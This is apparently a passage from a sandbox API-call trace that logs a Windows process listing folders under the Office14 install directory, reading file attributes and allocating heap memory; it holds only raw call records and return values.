lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0078.152] GetLastError () returned 0x12 [0078.152] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0078.152] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.152] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.152] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0078.152] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0078.152] GetLastError () returned 0x12 [0078.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0078.153] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.153] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0078.153] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x8d7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSF.DLL", cAlternateFileName="")) returned 1 [0078.153] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x86db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSLM.DLL", cAlternateFileName="")) returned 1 [0078.153] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="")) returned 1 [0078.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.153] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.168] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac7108 [0078.168] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac7108, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xac7108, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac7108) returned 1 [0078.168] NtClose (Handle=0x170) returned 0x0 [0078.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0078.170] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0078.170] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.170] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a45600, ftCreationTime.dwHighDateTime=0x1c90da0, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a45600, ftLastWriteTime.dwHighDateTime=0x1c90da0, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1 [0078.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4ca8 [0078.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b32e8 [0078.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.172] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e52d000, ftCreationTime.dwHighDateTime=0x1ca1017, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9e52d000, ftLastWriteTime.dwHighDateTime=0x1ca1017, nFileSizeHigh=0x0, nFileSizeLow=0x104cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPT2HTM4.XSL", cAlternateFileName="")) returned 1 [0078.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4cc8 [0078.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b33f0 [0078.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.172] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 1 [0078.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4ce8 [0078.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b34f8 [0078.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3f80) returned 0xac7108 [0078.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac31c0) returned 1 [0078.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.173] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 0 [0078.173] GetLastError () returned 0x12 [0078.173] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0078.173] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.173] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.173] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a45600, ftCreationTime.dwHighDateTime=0x1c90da0, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a45600, ftLastWriteTime.dwHighDateTime=0x1c90da0, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1 [0078.173] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e52d000, ftCreationTime.dwHighDateTime=0x1ca1017, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9e52d000, ftLastWriteTime.dwHighDateTime=0x1ca1017, nFileSizeHigh=0x0, nFileSizeLow=0x104cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPT2HTM4.XSL", cAlternateFileName="")) returned 1 [0078.173] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 1 [0078.173] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 0 [0078.174] GetLastError () returned 0x12 [0078.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0078.174] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.174] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0078.174] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x510dc2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x452988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDT.DLL", cAlternateFileName="")) returned 1 [0078.174] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ", cAlternateFileName="")) returned 1 [0078.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.174] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.175] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb090 [0078.175] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb090, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb090, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb090) returned 1 [0078.175] NtClose (Handle=0x164) returned 0x0 [0078.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0078.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.175] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0078.181] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.181] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea11a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x5f6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="")) returned 1 [0078.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0078.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4d08 [0078.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b3600 [0078.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.182] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea37bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZLIB.ACCDE", cAlternateFileName="")) returned 1 [0078.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4d28 [0078.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0078.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.183] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x8f8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE", cAlternateFileName="")) returned 1 [0078.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4d48 [0078.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b3708 [0078.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.183] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5eaa9fd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xb39000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE", cAlternateFileName="")) returned 1 [0078.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 